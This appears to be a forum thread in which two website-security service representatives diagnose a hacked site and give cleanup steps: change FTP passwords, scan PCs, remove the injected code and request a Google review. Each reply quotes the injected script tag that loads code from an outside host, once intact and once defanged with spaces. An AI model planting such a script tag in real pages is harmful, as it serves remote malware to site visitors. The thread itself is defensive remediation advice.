hey,
You first have to remove the malware. One of them is right after you meta tags:
“< script src=http://ibsc.ir/images/configure.php>”
After that, scan all your files for malware, and clean them up too. Look for backdoors left by the attackers, change your passwords and do a virus scan on your desktop. Once you are done, request google to re-scan you so you can be removed from their blacklist.
If you need someone to do that for you, send us an email. We can get that fixed asap.
—dd dd@sucuri.net
http://sucuri.net Web-Based Integrity Monitoring
Stay in control of your Internet presence.
Domain stolen, blacklisted, hosting malware? Unaware?
With malware, let us remove that for you!
You have a malscript on your home page:
<scr ipt src=http : //ibsc. ir/images/configure.php >
(spaces added to above so it doesn’t fire off anti-virus warnings)
This type of malscript is usually the result of stolen FTP credentials. You might have a virus on a PC that is used to update your website. The virus steals the FTP credentials, sends them to a server which then infects the website.
Quite often users of free versions of FTP software such as FileZilla, CuteFTP and a number of others, fall victim to this virus due to the fact that these programs store their saved logins in a plain text file.
The virus also sniffs the FTP traffic and since FTP transmits all data, including username and password in plain text, it’s easy for the virus to see and steal the FTP credentials this way as well. Changing to SFTP instead will prevent this.
First, change all FTP passwords – immediately.
Second, scan all PCs for viruses. You may have to use something different as the virus learns how to evade detection of the currently installed anti-virus software.
Many have had good success with: Kaspersky, Avast or Vipre.
Third, remove the malscript identified above from your page or pages.
Fourth, request a review from Google’s webmaster tools.
Post back here with any updates or questions you may have.
Thank you.
Thomas J. Raef
“We Watch Your Website – so you don’t have to!”
http://www.wewatchyourwebsite.com
traef@wewatchyourwebsite.com
